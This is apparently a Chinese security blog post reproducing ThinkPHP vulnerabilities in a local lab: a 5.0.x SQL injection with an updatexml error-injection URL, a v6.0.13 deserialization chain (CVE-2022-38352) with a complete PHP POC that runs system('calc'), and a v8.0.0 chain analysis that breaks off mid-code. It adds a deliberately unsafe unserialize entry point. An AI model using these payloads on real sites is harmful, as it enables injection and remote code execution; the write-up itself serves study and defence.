ThinkPHP漏洞复现

ThinkPHP历史漏洞部分复现

ThinkPHP漏洞复现

ThinkPHP是一个免费开源的,快速、简单的面向对象的轻量级PHP开发框架。下面就对几个漏洞点进行学习以及复现。

首先需要配置好xdebug环境,这里可以参考我的另一篇文章:

https://fupanc-w1n.github.io/p/phpstorm%E8%BF%9C%E7%A8%8B%E8%B0%83%E8%AF%95%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA/

Thinkphp5 SQL注入漏洞

漏洞版本:5.0.13<=ThinkPHP<=5.0.15

——————

环境搭建

这里再简单说说环境搭建,后面其实都大差不差的。在github上下载v5.0.15的源码,然后在小皮中搭建一个网站即可,以composer.json文件所在目录为根目录,然后配置mysql,直接使用phpstudy上的即可,但是需要往里面插入数据:

1
2
3
create database tp_text;
create table users(username varchar(20));
insert into users value ("fupanc"),("test");

然后修改部分源码,在composer.json中指定版本:

image-20250302162643214

还可以看到这里的php版本要求,但是我这里就直接使用的7.3.4了,然后在这个目录下使用composer install就创建好了。

然后在application/index/controller/Index.php中添加入口点,模仿一个数据查询的部分:

image-20250302162858537

1
2
$username = request()->get('username/a');
db('users')->insert(['username'=>$username]);

然后修改数据库的配置文件,位于application/database.php

image-20250302163024755

再在application/config.php开启调试:

1
2
3
4
    // 应用调试模式
    'app_debug'              => true,
    // 应用Trace
    'app_trace'              => true,

phpstorm的配置就是前面给的文章,参考那个来配即可,简单修改一下如人口路径:

image-20250302163159474

最后成功打上断点:

image-20250302163220728

————

这里其实就是要传参username,可以先简单加一个参数来调试一下过程,直接如下配置就行:

image-20250302194321268

代码审计

开始审计,打通的POC如下:

1
?username[0]=inc&username[1]=updatexml(1,concat(0x7e,user(),0x7e),1)&username[2]=1

还是先从原配置的传参来,简单说明一下这里的添加的入口的代码逻辑:

1
2
$username = request()->get('username/a');
db('users')->insert(['username'=>$username]);

对于第一行代码,先是初始化了一个request对象,然后调用了get()函数,跟进这个get()函数:

image-20250302194544925

这里的get在类中的最初定义是一个空数组,然后会将$_GET(也就是get传参的内容)的值全部赋值给这个,然后会调用input()方法:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
public function input($data = [], $name = '', $default = null, $filter = '')
    {
        if (false === $name) {
            // 获取原始数据
            return $data;
        }
        $name = (string) $name;
        if ('' != $name) {
            // 解析name
            if (strpos($name, '/')) {
                list($name, $type) = explode('/', $name);
            } else {
                $type = 's';
            }
            // 按.拆分成多维数组进行判断
            foreach (explode('.', $name) as $val) {
                if (isset($data[$val])) {
                    $data = $data[$val];
                } else {
                    // 无输入数据,返回默认值
                    return $default;
                }
            }
            if (is_object($data)) {
                return $data;
            }
        }

        // 解析过滤器
        $filter = $this->getFilter($filter, $default);

        if (is_array($data)) {
            array_walk_recursive($data, [$this, 'filterValue'], $filter);
            reset($data);
        } else {
            $this->filterValue($data, $name, $filter);
        }

        if (isset($type) && $data !== $default) {
            // 强制类型转换
            $this->typeCast($data, $type);
        }
        return $data;
    }

简单过程,从前面可以看出来就是一些分割操作,在前面参数的定义中,username/a代表的就是接收一个数组类型的username参数,简单说一下后面的分割操作:

image-20250303102802674

前面有一个用/分割,获取到了参数的type,然后这里获取到了用.来分割,其实逻辑就是获取到username的值,这里是fupanc,所以会将$data值设置成了fupanc,并且这个值不是一个实例,所以也不会进入后面的if条件。

继续往后面看:

image-20250303105215442

这里调用了getFilter()函数,就是一个获取过滤器的操作,但是我这里并没有特别设置filter,所以就是为空。

再后面,这里我是直接传参的fupanc,不是数组类型,所以不hi进入后面的if语句,而在else语句中,可以看到的调用了filterValue()函数:

image-20250303111016512

类的传参如上,然后调用了array_pop()函数,就是去掉数组的最后一个元素。但是后面的is_callable函数是没有通过的,is_callable()函数就是判定是否可以作为为一个函数调用,很显然这里不行。而is_scalar()函数,就是检测是否是一个标量,标量变量是指那些包含了 integer、float、string 或 boolean 的变量,而 array、object 和 resource 则不是标量。这里的is_scalar函数虽然满足了,但是后面的is_scalar函数里面定义的if等语句都是不满足的,所以最后会直接return:

image-20250303113423206

然后就会调用到filterExp()函数:

1
2
3
4
5
6
7
8
public function filterExp(&$value)
    {
        // 过滤查询特殊字符
        if (is_string($value) && preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT LIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i', $value)) {
            $value .= ' ';
        }
        // TODO 其他安全过滤
    }

这里就是一个sql注入的防御机制,大小写匹配来构建waf,如果匹配到了内容,那么就会直接将value后面加一个空格,但是本地测试了一下,这个过滤得比较一般呀。

最后调用完filterEXP和filterValue函数过后就回到了input()函数:

image-20250303122421686

最后有一个类型转换,这里得$type变量就是在前面/分割那里分割出来的。最后,经过类型转换后,这里就会将data的值变成一个数组并将其返回:

image-20250303122633750

但是如果我直接传参时就是一个数组呢?还是简单改一下配置即可:

image-20250303122938546

然后再次调试即可,不同的点在于在调用input()方法时,is_array函数判断成功:

image-20250303123422828

然后会调用到array_walk_recursive()函数,其实就是会调用filterValue()函数,简单跟了一下。过程其实也是和前面差不多的,一个检测值的操作,这里就不多说了。最后调用reset()函数来输出数组第一个值,也就是fupanc,并且后面的操作也是差不多的,这里就不多说了。

然后就到了数据库连接及插入操作了:

1
db('users')->insert(['username'=>$username]);

跟进这个db()方法:

image-20250303125329878

这里是连接数据库,并且指定了数据表为users表:

image-20250303125403478

然后调用了insert()方法:

image-20250304182410394

可以看到这里是调用了parseExpress()方法,跟了一下,里面就是对options这个变量进行了一下填充操作,在这个方法中,先是定义了一个$options变量,是一个数组类型,然后就是往这个数组类型的变量进行一些填充,里面有几个是后面要提到的点:

image-20250304183615100

这里的gettable()方法可以获取到table的名字,在这里就是users,并且将data的键设置为了空:

image-20250304183953320

然后后面有一个foreach操作,将键为fetch_sql的值设置为了false:

image-20250304183736524

然后在这方法之间,是进行了很多的填充,最后是返回了这个$option变量。

退出了parseExpress()方法,然后调用了array_merrge()方法,这个是一个合并数组的操作,但是这里并没有合并?小怪,data的值还是没有改变。

然后调用了insert()函数,这里的“发起者”是builder变量:

image-20250304184946192

看一下builder变量的定义:

image-20250304185414142

是数据库Builder对象实例,同时在这里,我们还可以看到一个数据库Connection对象实例。简单区别就是:

  • Connection对象实例是表示数据库的连接实例,可以进行一些简单的SQL查询的功能,但是需要为一个完整的语句。

  • builder对象实例,是一个数据库的查询构建器,用于动态生成复杂的SQL语句。

然后就会调用到insert()方法:

image-20250304191340561

这里调用了一个parseData()函数,此时的参数传递如下:

image-20250304191648846

在这个函数中,在switch部分必须要匹配到,不然会直接退出导致不能执行sql执行操作,部分代码如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
        $result = [];
        foreach ($data as $key => $val) {
            $item = $this->parseKey($key, $options);
            if (is_object($val) && method_exists($val, '__toString')) {
                // 对象数据写入
                $val = $val->__toString();
            }
            if (false === strpos($key, '.') && !in_array($key, $fields, true)) {
                if ($options['strict']) {
                    throw new Exception('fields not exists:[' . $key . ']');
                }
            } elseif (is_null($val)) {
                $result[$item] = 'NULL';
            } elseif (is_array($val) && !empty($val)) {
                switch ($val[0]) {
                    case 'exp':
                        $result[$item] = $val[1];
                        break;
                    case 'inc':
                        $result[$item] = $this->parseKey($val[1]) . '+' . floatval($val[2]);
                        break;
                    case 'dec':
                        $result[$item] = $this->parseKey($val[1]) . '-' . floatval($val[2]);
                        break;
                }
            } elseif (is_scalar($val)) {
                // 过滤非标量数据
                if (0 === strpos($val, ':') && $this->query->isBind(substr($val, 1))) {
                    $result[$item] = $val;
                } else {
                    $key = str_replace('.', '_', $key);
                    $this->query->bind('data__' . $key, $val, isset($bind[$key]) ? $bind[$key] : PDO::PARAM_STR);
                    $result[$item] = ':data__' . $key;
                }
            }
        }
        return $result;

这里调用的foreach,会匹配到val[0],也就是fupanc这个值,后面会进入到switch的语句中,然后就会进行switch匹配,如果这里不呢个匹配到,后面由于is_scalar函数匹配标量,不会进入,就会直接返回一个空数组($result),然后再insert()函数中直接return 0了:

1
2
3
4
$data = $this->parseData($data, $options);
        if (empty($data)) {
            return 0;
        }

就不会有后面的替换操作返回一个正常的sql语句了。

而返回了一个0过后呢,就不能执任何sql语句了:

image-20250304192648620

前面的在填充option时标注为了false,前面提到了,然后这里由于result为0,直接就不会执行后续操作了。导致最后的sql语句插入是没用的。

现在再来仔细看一下这个POC:

1
?username[0]=inc&username[1]=updatexml(1,concat(0x7e,user(),0x7e),1)&username[2]=1

这里的传参是加上了一个inc的,也就是说,转折点就是在switch语句,这里再看看switch的代码逻辑:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
                switch ($val[0]) {
                    case 'exp':
                        $result[$item] = $val[1];
                        break;
                    case 'inc':
                        $result[$item] = $this->parseKey($val[1]) . '+' . floatval($val[2]);
                        break;
                    case 'dec':
                        $result[$item] = $this->parseKey($val[1]) . '-' . floatval($val[2]);
                        break;

这里会匹配val[0]的值,值的赋予是前面提到了的,也就是如果传参如下:

1
username[0]=1&username[1]=2

那么这里的val的值就是包含到1和2两个值的数组,那么在这里,可以尝试传参:

1
username[0]=exp&username[1]=fupanc

再看看情况呢,还是进不去,这里输出为:

image-20250304194048785

在exp后面似乎多了一个空格,phpstorrm的问题?

那么在网页上传参试试呢,还是不行呢。

那么最后再调试一下POC:

1
?username[0]=inc&username[1]=updatexml(1,concat(0x7e,user(),0x7e),1)&username[2]=1

这下又完全正确了:

image-20250304194441413

这。。。

那就看这个吧,在case中利用到的函数如下:

1
2
3
                    case 'inc':
                        $result[$item] = $this->parseKey($val[1]) . '+' . floatval($val[2]);
                        break;

这里的parseKey()函数最后其实返回的就是传进去的值,而floatval()函数则是将其转换为浮点型,最后相加,结果如下:

image-20250304194945119

返回的result不为空了,回到insert()函数,然后调用了array_keys和array_values函数来分别生成key和value的数组,也就是前面result中的值,然后进行了替换操作:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
$fields = array_keys($data);
        $values = array_values($data);

        $sql = str_replace(
            ['%INSERT%', '%TABLE%', '%FIELD%', '%DATA%', '%COMMENT%'],
            [
                $replace ? 'REPLACE' : 'INSERT',
                $this->parseTable($options['table'], $options),
                implode(' , ', $fields),
                implode(' , ', $values),
                $this->parseComment($options['comment']),
            ], $this->insertSql);

        return $sql;

最后的sql语句为:

1
INSERT INTO `users` (`username`) VALUES (updatexml(1,concat(0x7e,user(),0x7e),1)+1) 

最后成功执行:

image-20250304195557242

成功进行报错注入:

image-20250304195746275

——————

修复方案

官方的修复方案是修改switch语句的逻辑:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
                switch (strtolower($val[0])) {
                    case 'inc':
                        $result[$item] = $this->parseKey($val[1]) . '+' . floatval($val[2]);
                        break;
                    case 'dec':
                        $result[$item] = $this->parseKey($val[1]) . '-' . floatval($val[2]);
                        break;
                    case 'exp':
                        $result[$item] = $val[1];
                        break;
                }

总结

第一次审下来,确实代码审计需要比较细心呀,有些时候就是一些传参就能达到注入的效果,还有需要注意代码之间的联系,有些时候在代码的后半段会有比较重要的代码逻辑体现,还是多加注意。

Thinkphp v6.0.13反序列化漏洞

CVE-2022-38352

环境搭建

和之前有点不一样了,thinkphp6以上就只有使用composer来安装了,比如这里的使用方法是:

1
2
composer create-project topthink/think=6.0.13 think-6.0.13
//简单解析一下,这里就是指定了thinkphp的版本,然后这里的tp6就是将源码下载在当前目录的tp6目录下

如果有报错的话一般就是php.ini配置文件有些配置需要修改,比如需要开启zip的配置等,其实问AI都能问出来。

然后访问网站的public/index.php,如果报错Your Composer dependencies require a PHP version “>= 7.4.0,那么就需要改一下配置文件:

1
2
3
 "config":{
        "platform-check": false
    }

此时搭建成功,但是会发现版本不对,所以需要

还是改配置,在framework这里直接指定版本:

1
2
3
4
5
"require": {
        "php": ">=7.2.5",
        "topthink/framework": "6.0.13",
        "topthink/think-orm": "^2.0"
    },

然后再使用composerr update即可,最后成功搭建:

image-20250305123146630

下载来的源码可以看到这里的php版本要求是大于等于7.2.5的,这里还是直接使用前面的7.3.4即可。

然后在app\controller\Index.php文件中加上入口:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
<?php
namespace app\controller;

use app\BaseController;

class Index extends BaseController
{
    public function index()
    {
        if($_POST["a"]){
            unserialize(base64_decode($_POST["a"]));
        }
        return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V' . \think\facade\App::version() . '<br/><span style="font-size:30px;">16载初心不改 - 你值得信赖的PHP框架</span></p><span style="font-size:25px;">[ V6.0 版本由 <a href="https://www.yisu.com/" target="yisu">亿速云</a> 独家赞助发布 ]</span></div><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="ee9b1aa918103c4fc"></think>';
    }

    public function hello($name = 'ThinkPHP6')
    {
        return 'hello,' . $name;
    }
}

代码审计分析

反序列化,一般都是从__destruct或者__wakeup入手的,这里还是从__destruct方法入手,直接全局搜索这个方法,可以看到有如下几个逻辑:

image-20250305140718668

搜到了如上几个方法,看了一下,感觉如下的两个点可能存在利用:

League\Flysystem\Cached\Storage\AbstractCache :

1
2
3
4
5
6
public function __destruct()
    {
        if (! $this->autosave) {
            $this->save();
        }
    }

think\Model :

1
2
3
4
5
6
public function __destruct()
    {
        if ($this->lazySave) {
            $this->save();
        }
    }

看参考文章的入手点是AbstractCache抽象类的方法,所以就是第二个destruct()方法,简单跟一下。

lazySave就是类的一个变量,在反序列化时可以赋值为任意值,跟进调用的save()方法,这里的AbstractCache类是抽象类,所以是必然有save()方法的实现了,AbstractCache类的实现类有如下几个:

image-20250305143357955

这里的链子是需要调用到League\Flysystem\Cached\Storage\Psr6Cache的save()方法:

1
2
3
4
5
6
7
public function save()
    {
        $item = $this->pool->getItem($this->key);
        $item->set($this->getForStorage());
        $item->expiresAfter($this->expire);
        $this->pool->save($item);
    }

不是很清楚这里,确实会找子类的save()方法的实现,但是不知道为什么这里就是调用的这个类的save()方法,先不管,跟一下链子,后面分析一下生成逻辑。

链子后面会再次调用到__call()方法,只要将这个理的$this->pool设置为一个类即可,这里选用的是think\log\Channel类的__call()方法:

1
2
3
4
public function __call($method, $parameters)
    {
        $this->log($method, ...$parameters);
    }

参数传递的话,这里的$method是getItem()方法名,而$parameters就是前面传的$this->key,看了一下,这个pool和key都是类定义的变量,所以这里都是可控的。然后跟进log()方法,会调用record()方法:

1
2
3
4
public function log($level, $message, array $context = [])
    {
        $this->record($message, $level, $context);
    }

然后再跟进record()方法:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public function record($msg, string $type = 'info', array $context = [], bool $lazy = true)
    {
        if ($this->close || (!empty($this->allow) && !in_array($type, $this->allow))) {
            return $this;
        }

        if (is_string($msg) && !empty($context)) {
            $replace = [];
            foreach ($context as $key => $val) {
                $replace['{' . $key . '}'] = $val;
            }

            $msg = strtr($msg, $replace);
        }

        if (!empty($msg) || 0 === $msg) {
            $this->log[$type][] = $msg;
            if ($this->event) {
                $this->event->trigger(new LogRecord($type, $msg));
            }
        }

        if (!$this->lazy || !$lazy) {
            $this->save();
        }

        return $this;
    }

继续看链子,在record()方法中,主要还是为了调用最后的save()方法,简单看一下前面的代码,看是否可以实现调用save()方法:

前面总的来说是需要通过三个if条件,

  • 第一个if条件:
1
2
3
if ($this->close || (!empty($this->allow) && !in_array($type, $this->allow))) {
            return $this;
        }

就是需要$this->close为false,然后后面的allow定义是一个数组,从代码逻辑来看,要么这个数组为空,要么这个数组里面存在getItem这个值,就不会进入这个if语句。

  • 第二个if条件:
1
2
3
4
5
6
7
8
if (is_string($msg) && !empty($context)) {
            $replace = [];
            foreach ($context as $key => $val) {
                $replace['{' . $key . '}'] = $val;
            }

            $msg = strtr($msg, $replace);
        }

判断$msg是否为字符串类型,然后判断$context变量是否为空,这个$msg的值是可控的,而且从record()函数的形参来看,这里的$context变量就是一个空值,所以第二个if条件应该是不会进入的。

  • 第三个if条件:
1
2
3
4
5
6
if (!empty($msg) || 0 === $msg) {
            $this->log[$type][] = $msg;
            if ($this->event) {
                $this->event->trigger(new LogRecord($type, $msg));
            }
        }

这里$msg不为空,就可以进入这个if条件,同样可以控制到不进入这个if条件,但是这里还不知道有什么用,先不管。

  • 最后到了调用save()方法的if语句:
1
2
3
if (!$this->lazy || !$lazy) {
            $this->save();
        }

这里的$this->lazy变量是类变量,可以控制。

那么现在来看save()方法:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
public function save(): bool
    {
        $log = $this->log;
        if ($this->event) {
            $event = new LogWrite($this->name, $log);
            $this->event->trigger($event);
            $log = $event->log;
        }

        if ($this->logger->save($log)) {
            $this->clear();
            return true;
        }

        return false;
    }

这里的$this->logger可控,调用任意类的save()方法,或者__call()方法,但是这里的链子跟的是think\log\driver\Socket类的save()方法:

image-20250305153706377

需要check()函数返回true,跟进check()函数:

image-20250305154131258

这里只需要控制$this->config['force_client_ids']为true,$this->config['allow_client_ids']为空,最后就会返回true。(ps:关键代码逻辑处理真重要呀,自己先看了一下,一直没提取出来重点,看了一下参考文章,这重点抓得是真准呀,只需要控制这几个参数就可以直接达到目的)。

而对于这里得config,定义就是一个数组,如下:

image-20250305154446091

最后成功通过check()函数。回到save()函数,通过控制$this->config['debug']为true,从而进入到if条件:

image-20250305154615447

然后这里是将$this->app设置为了think\APP类,但是这个APP类没有exists()方法,会调用到父类Container得exists()方法:

image-20250305154913303

从注释中可以看出这里就是在判断容器中是否有独享实例,参数传递中可以看出这里是判断是否有request这个类的实例,跟进这个getAlias()方法:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
public function getAlias(string $abstract): string
    {
        if (isset($this->bind[$abstract])) {
            $bind = $this->bind[$abstract];

            if (is_string($bind)) {
                return $this->getAlias($bind);
            }
        }

        return $abstract;
    }

对于第一个if语句,跟进判断的$this->bind[$abstract],由于这里的$this调用关系,这里判断的是App类的bind变量:

image-20250305163438010

可以看到这里是绑定到有Request.class类的,所以这里的getAlias()方法最后是会返回这个Request类的完全包名,也就是会返回think\Request。然后回到exists()方法,会判断是否有实例化类,也就是$this->instance['think\Request']要为true,同样可以直接在类初始化时设置,比如$this->instance赋值为['think\Request'=>new Request()]

最后回到Socket文件的save()方法,然后就会调用Request类的url()方法:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
public function url(bool $complete = false): string
    {
        if ($this->url) {
            $url = $this->url;
        } elseif ($this->server('HTTP_X_REWRITE_URL')) {
            $url = $this->server('HTTP_X_REWRITE_URL');
        } elseif ($this->server('REQUEST_URI')) {
            $url = $this->server('REQUEST_URI');
        } elseif ($this->server('ORIG_PATH_INFO')) {
            $url = $this->server('ORIG_PATH_INFO') . (!empty($this->server('QUERY_STRING')) ? '?' . $this->server('QUERY_STRING') : '');
        } elseif (isset($_SERVER['argv'][1])) {
            $url = $_SERVER['argv'][1];
        } else {
            $url = '';
        }

        return $complete ? $this->domain() . $url : $url;
    }

可以控制url变量,测试了一下这里的if语句,只要有给$this->url赋值,那么这里的if语句就为真,判断规则如下:

image-20250305171031997

所以我们可以给$url赋值为任意值。

在最后的return语句,由于参数的传递,会调用$this->domain()方法,然后是一个拼接url值得操作,跟进一下这里得domain()方法:

1
2
3
4
public function domain(bool $port = false): string
    {
        return $this->scheme() . '://' . $this->host($port);
    }

调用domain()方法时没有传参,所以这里的$port为false,方法内容就是获取协议头和域名的操作,也就是获取包含当前协议的域名,但是这里会直接返回我们可控的host的值,代码逻辑如下:

image-20250305171638601

参数传递,会让$strict变量设置为false,在三目运算符中会得到后面的那个值,也就是$host的值。

最后调用完url()函数过后,回到save()方法,会将返回的值赋值给$currentUri变量:

image-20250305172226063

然后这里只要控制$this->config['format_head']不为空,就可以调用到think\App类的invoke()方法,而这个$this->config['format_head'],同样是可控的,而think\App是没有invoke()方法的,其实还是调用的父类Container的invoke()方法:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
public function invoke($callable, array $vars = [], bool $accessible = false)
    {
        if ($callable instanceof Closure) {
            return $this->invokeFunction($callable, $vars);
        } elseif (is_string($callable) && false === strpos($callable, '::')) {
            return $this->invokeFunction($callable, $vars);
        } else {
            return $this->invokeMethod($callable, $vars, $accessible);
        }
    }

然后链子是看第三个invokeMethod()方法:

image-20250305173110667

前面的分割类名和方法名的操作,最开始我本来是想要使用else中的方法来进行分割的,后面构造的时候发现有点问题,只能被解析成字符串,也有可能是我传参格式有点问题,其实这里使用前面的if语句中的条件才是最好用的,直接用一个数组传参即可,并且这里还有个invokeClass()方法来确保是一个obejct对象。然后看上图重点标注出来的部分,这里是一个反射操作,和java的很像,反射获取类及方法,然后动态执行。

在这里,我们就可以找一下有无什么函数可以动态调用,可以用Seay源代码审计工具自动审计一下:

image-20250305174305660

可以看到这个display()函数是存在命令执行漏洞的,存在think\view\driver\Php文件中,现在就是看怎么进行参数传递来打了,参数传递感觉也是很有意思的呀:

在explode()函数中使用::来分割class和method,感觉传参是:

1
2
a=new think\view\driver\Php() 
a:: display

这样?感觉像是。

然后再使用ReflectionMethod()方法来反射获取到要调用的方法,再然后使用bindParams()方法来绑定参数,最后调用invokeArgs()来执行这个方法。

而在命令执行是如下:

1
eval('?>' . $this->content);

如下就可以进行命令执行:

1
2
3
4
<?php
$content="\<?php system('whoami');?>";

eval('?>' . $content);

所以传参就需要传<?php system('whoami');?>即可,这里的参数传递其实就是前面$currentUri的内容,也就是直接将前面的$url设置为php代码即可。

最后的POC如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
<?php
namespace League\Flysystem\Cached\Storage;
//abstract class AbstractCache
//{
//    protected $autosave = false;
//}
class Psr6Cache {
    private $pool;
    protected $autosave = false;
    function __construct($a){
        $this->pool=$a;
    }
}

namespace think\log;
class Channel{
    protected $logger;
    protected $event;

    protected $lazy;
    function __construct($b){
        $this->lazy=false;
        $this->event=false;
        $this->logger=$b;
    }
}
namespace think\view\driver;
class Php{

}

namespace think\log\driver;
class Socket{
    protected $app;
    protected $config =[];
    function __construct($b){
        $this->app=$b;
        $this->config=[
            'force_client_ids' => true,
            'allow_client_ids' => '',
            'debug' => true,
            'format_head' => [new \think\view\driver\Php,'display']
        ];
    }
}


namespace think;
class Request{
    protected $url;
    function __construct(){
        $this->url="<?php system('calc'); ?>";
    }
}
class App{
    protected $instances = [];
    function __construct(){
        $this->instances=[
            'think\Request' => new Request()
        ];
    }
}


$d=new App;
$b=new \think\log\driver\Socket($d);
$a=new \think\log\Channel($b);

$c=new \League\Flysystem\Cached\Storage\Psr6Cache($a);

echo urlencode(base64_encode(serialize($c)));

其实基本链子知道了,就可以直接构造好类,然后生成序列化数据,如果还是有问题,在调试时再一步一步修改。

最后是成功弹出计算机的:

image-20250306134856346

从页面显示是知道有回显的。所以可以直接打有回显的命令执行。

问题解决

前面留了一个问题,不知道为什么会选择Psr6Cache类的save()方法。其实从整个构造过程下来看,就基本上已经懂了。首先,选用Psr6Cache类是完美符合链子的,其次,在java的学习中,我们可以知道在反序列化一个类时,同时还会反序列化它的父类,这样就会触发AbstractCache类的__destrcut()方法,从而使得链子执行。

而页面回显的http://,其实就是链子中拼接url后的结果,但是php代码被执行了,所以只有这个回显:

image-20250306135741969

————

总结

从这个链子中,学到了很多,关键代码的抓取、关键类的选取。。。

感觉挖一条链子真的是要看很多代码呀,函数调用当然不难,但是要找到对应的函数,还是比较花耐心的,intersting,某两个方法配合起来就能打成一条链子。

同时在这里知道,对于一些框架,有些漏洞点真可以去github issue上看,我看这条链子的POC就是在github issue上可以看到的,可以看参考文章。

参考文章:

https://github.com/top-think/framework/issues/2749

https://xz.aliyun.com/news/11615?time__1311=eqUxuQDtDQitqAKD%3DD%2FFn%2BCBKqGQqD9QnGoD&u_atoken=d85375bd9b5b083adb46a87b18f126c7&u_asig=1a0c399a17410911216675510e012d

https://blog.csdn.net/qq_29920751/article/details/87630803

https://blog.csdn.net/qq_21296205/article/details/128369757

——————————

Thinkphpv8.0.0 反序列化漏洞

需要使用php8,我这里是php8.2.9+thinkphp v8.0.0

这个是nivia学长在2024xctf final出的题,当时他是挖出来的0day,这里也是来复现一下。

——————

环境搭建

环境搭建一个php8的环境,参考之前发的搭建的php7的调试环境教程,差不多的。

然后下载源码:

1
composer create-project topthink/think=8.0.0 think-8.0.0

改composer.json文件的框架版本为指定版本8.0.0,然后运行composer update更新一下即可。

最后访问成功搭建:

image-20250306153801695

这里还是在app/controller/Index页面加一个入口即可:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
<?php

namespace app\controller;

use app\BaseController;

class Index extends BaseController
{
    public function index()
    {
        unserialize(base64_decode($_POST['a']));
        
        return '<style>*{ padding: 0; margin: 0; }</style><iframe src="https://www.thinkphp.cn/welcome?version=' . \think\facade\App::version() . '" width="100%" height="100%" frameborder="0" scrolling="auto"></iframe>';
    }

    public function hello($name = 'ThinkPHP8')
    {
        return 'hello,' . $name;
    }
}

然后就可以开始愉快的代码审计了。

ps:好像这条链子后半部分和一个thinkphp6的很像,和我前面审的不一样,直接从这里学了,不再返回去审计那个了。

——————

代码审计

在一篇文章中看到了一个点,代码审计要选好sink点和source点,然后在挖链子的过程中去靠即可,感觉还是比较有意思的。

——————

source点选择

一般的source点就是__destruct或者__wakeup方法,直接全局搜索__destruct方法,找到两个可以使用的点:

League\Flysystem\Cached\Storage\AbstractCache:

1
2
3
4
5
6
public function __destruct()
{
    if (! $this->autosave) {
        $this->save();
    }
}

think\route\ResourceRegister:

1
2
3
4
5
6
public function __destruct()
    {
        if (!$this->registered) {
            $this->register();
        }
    }

在这里选择的是第二个。

sink点选择

一般框架的反序列化sink点都会选择call方法,因为一般可能的危险操作都在call方法上

在这里使用的是think\Validate#__call,代码逻辑如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
public function __call($method, $args)
    {
        if ('is' == strtolower(substr($method, 0, 2))) {
            $method = substr($method, 2);
        }

        array_push($args, lcfirst($method));

        return call_user_func_array([$this, 'is'], $args);
    }

这个代码逻辑,如果想要能够进入if语句,需要$method名为类似iseval这种,然后就会截取,将$method的值更新为eval这种,最后就调用了call_user_func_array()方法,这个函数的调用也是非常有意思,给一个代码说说这里的逻辑:

1
2
3
4
5
6
7
8
9
<?php
class Foo {
    function bar($arg, $arg2) {
        echo __METHOD__, " got $arg and $arg2\n";
    }
}
$foo = new Foo;
call_user_func_array(array($foo, "bar"), array("three", "four"));
//output:  Foo::bar got three and four

可以知道,这里就是调用$foo实例的bar()函数,那么同样的,在原来的payload上,这里就是调用$this的is()函数,全局搜索is函数,得到了如下函数:

image-20250306163321534

同样还是think/Validate类的is()函数,从图中可以看到最后这里的参数都是可控的,可以达到调用回调函数来达到命令注入的效果。

现在sink点和source点都找到了,来看一下中间的链子。

链子寻找

入口点是 think\route\ResourceRegister类的__destruct函数:

1
2
3
4
5
6
public function __destruct()
    {
        if (!$this->registered) {
            $this->register();
        }
    }

$this->registered变量可控,然后回调用到register()方法:

1
2
3
4
5
6
protected function register()
    {
        $this->registered = true;
        
        $this->resource->parseGroupRule($this->resource->getRule());
    }

其实这里就能尝试调用__call()方法,但是在前面想要进行命令执行的地方,是需要在调用__call()方法时是需要有参数的,但是这里的getRule()方法是无法进行传参的。

还是直接跟进,调用的getRule()方法会调用到Resource.php文件的父类的父类Rule类的getRule()方法:

1
2
3
4
public function getRule()
    {
        return $this->rule;
    }

所以这里的参数是可控的。

然后看一下parseGroupRule()方法,会调用到Resource.php文件的parseGroupRule()方法:

image-20250306165556758

如上图,通过参数的控制,我们可以直接跳过第一个if语句的执行,直接执行后面的代码,然后看第二个框出来的部分,可以看见很明显的拼接操作,这里是可以尝试调用toString链的,这里再简单看一下这里的参数情况,看是否可以控制,审计了一下,发现是可以控制的,具体就看后面的POC吧,继续找链子。。

现在就是需要去找调用toString()链子,这里选用的是think\model\concern\Conversion类的__toString()链:

image-20250306171339466

跟进这个toJson():

image-20250306171400136

然后调用toArray():

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
public function toArray(): array
    {
        $item = $visible = $hidden = [];

        $hasVisible = false;

        foreach ($this->visible as $key => $val) {
            if (is_string($val)) {
                if (str_contains($val, '.')) {
                    [$relation, $name]    = explode('.', $val);
                    $visible[$relation][] = $name;
                } else {
                    $visible[$val] = true;
                    $hasVisible    = true;
                }
            } else {
                $visible[$key] = $val;
            }
        }

        foreach ($this->hidden as $key => $val) {
            if (is_string($val)) {
                if (str_contains($val, '.')) {
                    [$relation, $name]   = explode('.', $val);
                    $hidden[$relation][] = $name;
                } else {
                    $hidden[$val] = true;
                }
            } else {
                $hidden[$key] = $val;
            }
        }

